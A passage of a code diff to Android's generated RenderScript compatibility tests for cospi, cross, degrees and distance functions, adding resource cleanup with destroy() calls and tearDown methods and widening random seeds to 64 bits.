             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkCospiHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x989ba201l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5c231979989ba201l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testCospiHalf3Half3(inV, out);
             verifyResultsCospiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCospiHalf3Half3(inV, out);
             verifyResultsCospiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkCospiHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf7a366f5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5c23241af7a366f5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testCospiHalf4Half4(inV, out);
             verifyResultsCospiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCospiHalf4Half4(inV, out);
             verifyResultsCospiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.java
index 57b4a07..86d1097 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCross.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestCrossRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatNFloatNFloatN {
         public float[] inLeftVector;
         public float[] inRightVector;
@@ -44,13 +51,14 @@
     }
 
     private void checkCrossFloat3Float3Float3() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x382f1ad4l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xde024b21l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3505ebf7382f1ad4l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe9d27bf3de024b21l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testCrossFloat3Float3Float3(inLeftVector, out);
             verifyResultsCrossFloat3Float3Float3(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossFloat3Float3Float3: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testCrossFloat3Float3Float3(inLeftVector, out);
             verifyResultsCrossFloat3Float3Float3(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossFloat3Float3Float3: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsCrossFloat3Float3Float3(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -135,13 +146,14 @@
     }
 
     private void checkCrossFloat4Float4Float4() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x906fbeffl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb0ddde5al, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x15fc58a5906fbeffl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb336bd3cb0ddde5al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testCrossFloat4Float4Float4(inLeftVector, out);
             verifyResultsCrossFloat4Float4Float4(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossFloat4Float4Float4: " + e.toString());
         }
@@ -150,9 +162,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testCrossFloat4Float4Float4(inLeftVector, out);
             verifyResultsCrossFloat4Float4Float4(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossFloat4Float4Float4: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsCrossFloat4Float4Float4(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -234,13 +249,14 @@
     }
 
     private void checkCrossHalf3Half3Half3() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xfc3afdafl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xcc0165eal, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4c2f586fc3afdafl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xce931719cc0165eal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testCrossHalf3Half3Half3(inLeftVector, out);
             verifyResultsCrossHalf3Half3Half3(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossHalf3Half3Half3: " + e.toString());
         }
@@ -249,9 +265,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testCrossHalf3Half3Half3(inLeftVector, out);
             verifyResultsCrossHalf3Half3Half3(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossHalf3Half3Half3: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsCrossHalf3Half3Half3(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -332,13 +351,14 @@
     }
 
     private void checkCrossHalf4Half4Half4() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa8692054l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb7c137a1l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5d701318a8692054l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb3a70e91b7c137a1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testCrossHalf4Half4Half4(inLeftVector, out);
             verifyResultsCrossHalf4Half4Half4(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossHalf4Half4Half4: " + e.toString());
         }
@@ -347,9 +367,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testCrossHalf4Half4Half4(inLeftVector, out);
             verifyResultsCrossHalf4Half4Half4(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCrossHalf4Half4Half4: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsCrossHalf4Half4Half4(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.java
index 2020e2b..4ce8e74 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDegrees.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestDegreesRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkDegreesFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc5dde30al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x606ed077c5dde30al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testDegreesFloatFloat(inV, out);
             verifyResultsDegreesFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesFloatFloat(inV, out);
             verifyResultsDegreesFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkDegreesFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe417141el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x803a665ae417141el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testDegreesFloat2Float2(inV, out);
             verifyResultsDegreesFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesFloat2Float2(inV, out);
             verifyResultsDegreesFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkDegreesFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xda3234fcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x803c2f75da3234fcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testDegreesFloat3Float3(inV, out);
             verifyResultsDegreesFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesFloat3Float3(inV, out);
             verifyResultsDegreesFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkDegreesFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd04d55dal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x803df890d04d55dal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testDegreesFloat4Float4(inV, out);
             verifyResultsDegreesFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesFloat4Float4(inV, out);
             verifyResultsDegreesFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkDegreesHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x17e3b944l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xebce8b7317e3b944l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testDegreesHalfHalf(inV, out);
             verifyResultsDegreesHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesHalfHalf(inV, out);
             verifyResultsDegreesHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkDegreesHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x32fc2a46l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x26cc422b32fc2a46l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testDegreesHalf2Half2(inV, out);
             verifyResultsDegreesHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesHalf2Half2(inV, out);
             verifyResultsDegreesHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkDegreesHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9203ef3al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x26cc4ccc9203ef3al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testDegreesHalf3Half3(inV, out);
             verifyResultsDegreesHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesHalf3Half3(inV, out);
             verifyResultsDegreesHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkDegreesHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf10bb42el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x26cc576df10bb42el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testDegreesHalf4Half4(inV, out);
             verifyResultsDegreesHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testDegreesHalf4Half4(inV, out);
             verifyResultsDegreesHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDegreesHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsDegreesHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.java
index c4c3b01..74e22a4 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestDistance.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestDistanceRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inLeftVector;
         public float inRightVector;
@@ -44,13 +51,14 @@
     }
 
     private void checkDistanceFloatFloatFloat() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x82ced52al, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x66d69793l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa481527082ced52al, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa38cb25366d69793l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceFloatFloatFloat(inLeftVector, out);
             verifyResultsDistanceFloatFloatFloat(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceFloatFloatFloat(inLeftVector, out);
             verifyResultsDistanceFloatFloatFloat(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloatFloatFloat: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDistanceFloatFloatFloat(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -126,13 +137,14 @@
     }
 
     private void checkDistanceFloat2Float2Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x554dab2el, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc2248a3fl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xbf71d23b554dab2el, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x29f22964c2248a3fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceFloat2Float2Float(inLeftVector, out);
             verifyResultsDistanceFloat2Float2Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloat2Float2Float: " + e.toString());
         }
@@ -141,9 +153,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceFloat2Float2Float(inLeftVector, out);
             verifyResultsDistanceFloat2Float2Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloat2Float2Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDistanceFloat2Float2Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -212,13 +227,14 @@
     }
 
     private void checkDistanceFloat3Float3Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x76ec5f7cl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x67ccd359l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8e1af7b976ec5f7cl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe05b759467ccd359l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceFloat3Float3Float(inLeftVector, out);
             verifyResultsDistanceFloat3Float3Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloat3Float3Float: " + e.toString());
         }
@@ -227,9 +243,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceFloat3Float3Float(inLeftVector, out);
             verifyResultsDistanceFloat3Float3Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloat3Float3Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDistanceFloat3Float3Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -298,13 +317,14 @@
     }
 
     private void checkDistanceFloat4Float4Float() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x988b13cal, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd751c73l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5cc41d37988b13cal, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x96c4c1c40d751c73l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceFloat4Float4Float(inLeftVector, out);
             verifyResultsDistanceFloat4Float4Float(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloat4Float4Float: " + e.toString());
         }
@@ -313,9 +333,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceFloat4Float4Float(inLeftVector, out);
             verifyResultsDistanceFloat4Float4Float(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceFloat4Float4Float: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDistanceFloat4Float4Float(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -392,13 +415,14 @@
     }
 
     private void checkDistanceHalfHalfHalf() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb911c71l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5f789080l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc2d03f430b911c71l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbace79b05f789080l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceHalfHalfHalf(inLeftVector, out);
             verifyResultsDistanceHalfHalfHalf(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalfHalfHalf: " + e.toString());
         }
@@ -407,9 +431,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceHalfHalfHalf(inLeftVector, out);
             verifyResultsDistanceHalfHalfHalf(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalfHalfHalf: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsDistanceHalfHalfHalf(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -481,13 +508,14 @@
     }
 
     private void checkDistanceHalf2Half2Half() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1fddb297l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc855c8e2l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8046ee611fddb297l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8dbde3bdc855c8e2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testDistanceHalf2Half2Half(inLeftVector, out);
             verifyResultsDistanceHalf2Half2Half(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalf2Half2Half: " + e.toString());
         }
@@ -496,9 +524,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testDistanceHalf2Half2Half(inLeftVector, out);
             verifyResultsDistanceHalf2Half2Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testDistanceHalf2Half2Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
